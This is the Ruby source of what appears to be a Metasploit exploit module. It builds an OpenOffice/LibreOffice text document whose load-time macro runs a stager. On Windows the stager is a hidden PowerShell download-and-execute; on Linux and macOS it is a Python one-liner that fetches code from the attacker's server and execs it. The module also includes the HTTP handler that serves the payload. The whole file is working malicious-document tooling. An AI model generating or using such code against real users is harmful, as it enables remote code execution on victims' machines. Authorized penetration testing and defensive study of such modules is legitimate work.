## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/zip' require 'cgi' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer WINDOWSGUI = 'windows' OSXGUI = 'osx' LINUXGUI = 'linux' def initialize(info={}) super(update_info(info, 'Name' => "Apache OpenOffice Text Document Malicious Macro Execution", 'Description' => %q{ This module generates an Apache OpenOffice Text Document with a malicious macro in it. To exploit successfully, the targeted user must adjust the security level in Macro Security to either Medium or Low. If set to Medium, a prompt is presented to the user to enable or disable the macro. If set to Low, the macro can automatically run without any warning. The module also works against LibreOffice. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' # Metasploit ], 'References' => [ ['URL', 'https://en.wikipedia.org/wiki/Macro_virus'] ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', 'DisablePayloadHandler' => false }, 'Targets' => [ [ 'Apache OpenOffice on Windows (PSH)', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] }], [ 'Apache OpenOffice on Linux/OSX (Python)', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON }] ], 'Privileged' => false, 'DisclosureDate' => "Feb 8 2017" )) register_options([ OptString.new("BODY", [false, 'The message for the document body', '']), OptString.new('FILENAME', [true, 'The OpoenOffice Text document name', 'msf.odt']) ], self.class) end def on_request_uri(cli, req) print_status("Sending payload") if target.name =~ /PSH/ p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true, exec_in_place: true) else p = payload.encoded end send_response(cli, p, 'Content-Type' => 'application/octet-stream') end def primer print_status("Generating our odt file for #{target.name}...") path = File.join(Msf::Config.install_root, 'data', 'exploits', 'openoffice_document_macro') docm = package_odt(path) file_create(docm) end def get_windows_stager %Q|Shell("cmd.exe /C ""#{generate_psh_stager}""")| end def get_unix_stager %Q|Shell("#{generate_python_stager}")| end def generate_psh_stager @windows_psh_stager ||= lambda { ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri) download_and_run = "#{ignore_cert}#{download_string}" generate_psh_command_line( noprofile: true, windowstyle: 'hidden', command: download_and_run) }.call end def generate_python_stager @python_stager ||= lambda { %Q|python -c ""import urllib2; r = urllib2.urlopen('#{get_uri}'); exec(r.read());""| }.call end def get_statger case target.name when /PSH/ get_windows_stager when /Python/ get_unix_stager end end # This macro code has the following in mind: # 1. It checks the platform to eliminate less misfires. Since we have only tested on Windows/Linux/OSX, # we only want to fire at those. # 2. Originally, I tried to embed the payload in the macro code, write it out and then execute it. # This turned out to be problematic, because for some reason OpenOffice is not able to # write a large string to a file (I've tried either shell("echo") or using the macro API). # The stager code is similar to web_delivery. def macro_code CGI.escapeHTML(%Q| Sub OnLoad Dim os as string os = GetOS If os = "#{WINDOWSGUI}" OR os = "#{OSXGUI}" OR os = "#{LINUXGUI}" Then Exploit end If End Sub Sub Exploit #{get_statger} End Sub Function GetOS() as string select case getGUIType case 1: GetOS = "#{WINDOWSGUI}" case 3: GetOS = "#{OSXGUI}" case 4: GetOS = "#{LINUXGUI}" end select End Function Function GetExtName() as string select case GetOS case "#{WINDOWSGUI}" GetFileName = "exe" case else GetFileName = "bin" end select End Function |) end def on_file_read(short_fname, full_fname) buf = File.read(full_fname) case short_fname when /content\.xml/ buf.gsub!(/DOCBODYGOESHER/, datastore['BODY']) when /Module1\.xml/ buf.gsub!(/CODEGOESHERE/, macro_code) end yield short_fname, buf end def package_odt(path) zip = Rex::Zip::Archive.new Dir["#{path}/**/**"].each do |file| p = file.sub(path+'/','') if File.directory?(file) print_status("Packaging directory: #{file}") zip.add_file(p) else on_file_read(p, file) do |fname, buf| print_status("Packaging file: #{fname}") zip.add_file(fname, buf) end end end zip.pack end def exploit super end end